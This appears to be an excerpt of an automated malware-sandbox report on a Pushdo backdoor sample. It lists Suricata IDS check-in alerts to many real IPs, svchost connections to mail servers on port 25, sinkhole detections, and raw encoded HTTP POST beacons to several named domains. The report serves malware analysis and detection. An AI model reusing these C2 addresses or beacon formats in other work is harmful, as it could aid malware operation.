Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53002 -> 35.164.78.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53158 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53168 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53148 -> 157.112.182.239:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53161 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53162 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53174 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53014 -> 5.196.166.214:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53171 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53160 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53164 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53151 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53165 -> 142.250.186.147:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53179 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53175 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53177 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53184 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53185 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53180 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53183 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53191 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53186 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53155 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53195 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53192 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53156 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53190 -> 104.26.7.221:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53197 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53188 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53187 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53202 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53205 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53207 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53208 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53201 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53193 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53132 -> 96.91.204.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53206 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53211 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53213 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53215 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53172 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53110 -> 74.208.236.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53217 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53209 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53223 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53220 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53167 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53219 -> 116.211.150.37:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53210 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53198 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53226 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53229 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53134 -> 64.125.133.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53225 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53231 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53218 -> 104.218.10.254:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53233 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53224 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53234 -> 108.167.164.216:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53182 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53137 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53216 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53241 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53237 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53232 -> 104.21.66.46:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53228 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53203 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53243 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53248 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53245 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53119 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53240 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53176 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53221 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53178 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53244 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53253 -> 104.196.26.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53255 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53181 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53204 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53212 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53236 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53250 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53252 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53173 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53086 -> 185.53.177.50:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53242 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53194 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53157 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53256 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53257 -> 104.26.3.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53147 -> 157.112.182.239:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53196 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53266 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53246 -> 157.112.176.4:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53263 -> 5.189.128.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53230 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53265 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53154 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53267 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53249 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53268 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53254 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53222 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53269 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53170 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53272 -> 217.79.184.35:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53259 -> 217.19.237.54:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53274 -> 183.90.183.73:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.226.70.66 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.218.88.163 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.205.70.128 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 87.248.97.31 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 66.218.88.167 25	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 74.125.133.27 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 142.251.168.27 25	Jump to behavior

Source: unknown

Network traffic detected: DNS query count 107

Source: unknown

Network traffic detected: IP country count 21

Source: global traffic

DNS traffic detected: number of DNS queries: 107

Source: Joe Sandbox View	IP Address: 185.205.70.128 185.205.70.128
Source: Joe Sandbox View	IP Address: 192.124.249.10 192.124.249.10
Source: Joe Sandbox View	IP Address: 192.124.249.10 192.124.249.10

Source: Joe Sandbox View	ASN Name: LAYER-ASLayerstackLimitedHK LAYER-ASLayerstackLimitedHK
Source: Joe Sandbox View	ASN Name: DIGIROCKDigiRockIncJP DIGIROCKDigiRockIncJP
Source: Joe Sandbox View	ASN Name: DEVINOTELECOM-ASRU DEVINOTELECOM-ASRU

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.218.204.173:80 -> 192.168.2.5:49765
Source: Network traffic	Suricata IDS: 2016998 - Severity 1 - ET MALWARE Connection to Fitsec Sinkhole IP (Possible Infected Host) : 192.168.2.5:52587 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.5:52659

Source: global traffic	TCP traffic: 192.168.2.5:52691 -> 66.226.70.66:25
Source: global traffic	TCP traffic: 192.168.2.5:52838 -> 142.251.168.27:25
Source: global traffic	TCP traffic: 192.168.2.5:53024 -> 87.248.97.31:25
Source: global traffic	TCP traffic: 192.168.2.5:53082 -> 185.205.70.128:25
Source: global traffic	TCP traffic: 192.168.2.5:53345 -> 66.218.88.167:25
Source: global traffic	TCP traffic: 192.168.2.5:53369 -> 66.218.88.163:25
Source: global traffic	TCP traffic: 192.168.2.5:53455 -> 74.125.133.27:25

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fnw.usCache-Control: no-cacheData Raw: 32 78 65 32 6c 41 36 75 6a 76 58 78 51 77 4f 51 6d 56 35 6c 6a 58 45 61 48 76 34 4f 75 61 4b 45 49 69 39 32 51 67 64 77 77 68 69 4c 4a 50 74 2b 37 2b 38 65 61 6d 6a 51 4a 47 46 66 39 6d 4a 2b 4f 2f 6a 56 2b 6e 66 53 55 43 79 76 42 6b 47 78 71 71 31 2f 33 33 63 6b 6f 66 6d 61 6a 77 4d 69 7a 4c 38 59 52 43 52 48 45 48 32 4b 4d 41 6b 35 58 73 2f 53 5a 75 61 68 35 68 38 35 57 66 54 66 4f 56 6f 5a 56 61 33 6e 42 61 6a 6b 41 56 69 47 63 48 6c 4c 38 46 44 57 65 78 55 43 77 77 38 6a 42 58 54 64 74 42 44 4d 54 6f 75 42 6b 6e 69 51 6b 72 76 69 2f 30 46 36 51 55 35 7a 75 44 56 33 50 76 6e 71 35 75 78 30 69 6f 5a 33 2b 41 72 47 70 56 58 43 4a 7a 7a 4d 57 61 70 55 64 49 52 31 33 48 30 35 38 31 6f 2b 55 6e 4e 46 46 67 55 54 38 58 59 41 75 56 55 51 2b 47 75 42 4c 7a 58 61 6c 79 41 49 49 47 53 79 6c 31 41 68 64 6d 64 67 44 74 62 72 45 4f 44 31 5a 38 73 44 45 4d 5a 63 76 31 51 51 31 72 52 59 4a 42 49 72 55 62 42 6d 6d 32 72 53 71 45 6f 35 67 30 79 6e 35 70 6f 63 55 62 54 64 30 6a 35 56 35 45 6b 6f 53 48 54 73 6d 73 64 66 30 62 71 71 58 4a 66 46 64 67 67 7a 39 53 39 6e 69 37 4c 51 66 61 7a 32 74 61 78 2f 64 5a 37 42 49 4e 55 30 75 61 68 31 79 46 79 54 75 47 30 4c 32 38 76 6b 74 4c 2f 31 5a 64 48 74 6d 78 61 68 52 41 52 62 4d 63 62 6b 4f 58 56 69 47 43 6b 59 33 4d 7a 61 4f 7a 41 38 43 4c 39 57 42 66 52 79 63 55 78 77 75 79 32 61 2b 68 7a 6d 50 56 49 58 54 75 59 64 6c 2b 4e 64 4b 41 42 55 4b 2f 54 53 2b 62 43 75 2f 75 66 50 6c 42 43 70 76 46 4c 4e 7a 36 74 32 44 51 42 68 61 46 67 51 64 37 49 45 65 53 61 35 61 6a 42 72 4a 46 73 4f 4c 31 4e 51 45 49 6c 76 49 48 61 51 69 77 76 58 74 65 79 6d 56 36 6c 78 Data Ascii: 2xe2lA6ujvXxQwOQmV5ljXEaHv4OuaKEIi92QgdwwhiLJPt+7+8eamjQJGFf9mJ+O/jV+nfSUCyvBkGxqq1/33ckofmajwMizL8YRCRHEH2KMAk5Xs/SZuah5h85WfTfOVoZVa3nBajkAViGcHlL8FDWexUCww8jBXTdtBDMTouBkniQkrvi/0F6QU5zuDV3Pvnq5ux0ioZ3+ArGpVXCJzzMWapUdIR13H0581o+UnNFFgUT8XYAuVUQ+GuBLzXalyAIIGSyl1AhdmdgDtbrEOD1Z8sDEMZcv1QQ1rRYJBIrUbBmm2rSqEo5g0yn5pocUbTd0j5V5EkoSHTsmsdf0bqqXJfFdggz9S9ni7LQfaz2tax/dZ7BINU0uah1yFyTuG0L28vktL/1ZdHtmxahRARbMcbkOXViGCkY3MzaOzA8CL9WBfRycUxwuy2a+hzmPVIXTuYdl+NdKABUK/TS+bCu/ufPlBCpvFLNz6t2DQBhaFgQd7IEeSa5ajBrJFsOL1NQEIlvIHaQiwvXteymV6lx
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.dgmna.comCache-Control: no-cacheData Raw: 44 37 79 33 47 32 6b 51 6b 2f 56 6c 52 6b 32 42 4f 4a 36 78 35 34 4b 34 51 30 55 48 39 76 72 7a 72 66 6d 31 36 61 2b 70 2b 42 62 4b 68 6d 59 4c 58 65 44 63 47 38 2b 4f 38 68 4c 53 53 41 41 6c 43 76 43 7a 32 56 2b 69 47 4a 5a 42 4e 65 30 48 4b 66 63 52 31 53 31 54 30 79 4a 6b 57 67 45 35 47 42 4a 32 55 63 65 6e 55 75 49 41 34 41 45 2b 45 32 73 44 6b 76 68 6c 5a 30 62 34 70 39 6b 46 35 51 41 43 6e 4c 62 51 41 57 72 4b 78 69 4c 67 7a 65 69 68 68 53 2f 36 61 73 39 75 66 58 4b 71 73 6b 4e 78 52 42 52 38 6c 72 5a 75 2b 53 61 54 53 55 41 35 61 61 63 72 55 35 73 31 42 2f 57 73 57 74 4f 39 33 61 62 69 42 54 57 65 43 39 34 6d 65 46 5a 37 33 68 4c 72 31 51 42 6a 6e 48 56 71 48 45 59 64 41 49 30 39 78 62 4a 65 55 67 74 46 74 33 6b 69 4c 4e 56 6b 33 48 72 4d 52 72 46 73 7a 43 6d 2f 67 2f 4c 51 48 44 61 2f 43 31 6f 32 2f 48 4c 65 59 6d 4f 47 65 4e 75 66 35 58 58 51 45 36 4d 70 72 79 4f 4b 43 70 51 47 6c 39 6e 4c 67 4b 66 74 72 30 76 76 66 45 46 45 75 32 56 36 34 69 49 6b 64 79 78 34 43 44 59 58 70 55 59 56 32 49 78 49 6d 64 58 42 4d 61 35 6b 6f 52 74 65 42 62 66 4e 58 57 59 78 64 4f 58 51 55 47 6b 42 44 2b 75 30 6c 64 34 5a 51 39 6f 78 37 57 76 7a 32 71 39 50 57 59 6b 59 2b 59 73 4b 6d 43 4e 35 7a 34 33 46 48 6e 74 55 78 31 38 7a 58 33 72 50 45 57 45 47 48 52 4f 2b 57 2f 32 2f 65 51 5a 48 4f 44 50 65 39 35 34 30 65 38 58 7a 48 6d 58 47 57 63 49 2f 4f 35 4e 61 50 63 79 41 54 59 31 47 62 30 32 4b 38 52 66 4f 4c 64 61 52 74 42 58 76 4b 67 43 46 62 6b 52 4f 75 53 41 50 65 75 37 33 4d 45 43 49 44 7a 68 37 4b 61 53 6a 79 62 64 57 4a 52 4f 4f 6c 71 32 6c 64 46 6d 31 59 50 46 6a 75 36 36 69 78 4a 56 61 50 32 47 55 4d 53 54 31 56 50 67 44 4f 6c 33 65 78 74 6d 6d 36 50 51 63 Data Ascii: D7y3G2kQk/VlRk2BOJ6x54K4Q0UH9vrzrfm16a+p+BbKhmYLXeDcG8+O8hLSSAAlCvCz2V+iGJZBNe0HKfcR1S1T0yJkWgE5GBJ2UcenUuIA4AE+E2sDkvhlZ0b4p9kF5QACnLbQAWrKxiLgzeihhS/6as9ufXKqskNxRBR8lrZu+SaTSUA5aacrU5s1B/WsWtO93abiBTWeC94meFZ73hLr1QBjnHVqHEYdAI09xbJeUgtFt3kiLNVk3HrMRrFszCm/g/LQHDa/C1o2/HLeYmOGeNuf5XXQE6MpryOKCpQGl9nLgKftr0vvfEFEu2V64iIkdyx4CDYXpUYV2IxImdXBMa5koRteBbfNXWYxdOXQUGkBD+u0ld4ZQ9ox7Wvz2q9PWYkY+YsKmCN5z43FHntUx18zX3rPEWEGHRO+W/2/eQZHODPe9540e8XzHmXGWcI/O5NaPcyATY1Gb02K8RfOLdaRtBXvKgCFbkROuSAPeu73MECIDzh7KaSjybdWJROOlq2ldFm1YPFju66ixJVaP2GUMST1VPgDOl3extmm6PQc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 592User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jenco.co.ukCache-Control: no-cacheData Raw: 79 75 65 7a 48 6a 51 70 6b 2f 55 55 77 42 50 63 6a 38 4e 6d 58 59 63 4f 70 66 63 73 6b 75 50 4c 71 44 45 56 32 2f 6f 57 39 49 53 69 49 75 69 71 75 4e 58 32 5a 4a 4d 41 61 73 6a 4c 33 70 39 47 52 79 75 65 54 4b 73 7a 65 52 76 51 75 47 75 68 72 75 67 6d 30 53 68 41 67 4b 2f 74 4a 6d 42 30 36 6b 31 73 74 4f 69 6a 58 30 49 6b 45 2b 42 34 70 6e 70 6e 33 44 62 77 66 31 2b 4c 58 52 35 58 31 6e 7a 57 74 52 48 2f 33 2f 35 41 64 77 54 37 44 39 79 50 64 4e 67 64 57 70 74 30 33 61 79 64 48 5a 4f 71 51 4d 2b 4e 38 55 73 47 52 4a 74 54 71 66 54 4a 50 36 52 68 53 5a 58 42 36 74 38 31 43 46 69 41 79 65 59 7a 73 42 52 7a 79 63 4d 51 5a 4e 6a 33 52 6a 4b 4a 4f 61 31 4f 49 4a 45 7a 56 53 35 64 63 35 6d 7a 43 76 49 5a 48 30 67 59 30 64 71 4e 2b 31 2f 4b 51 69 7a 72 35 58 55 69 75 6b 6e 47 41 6d 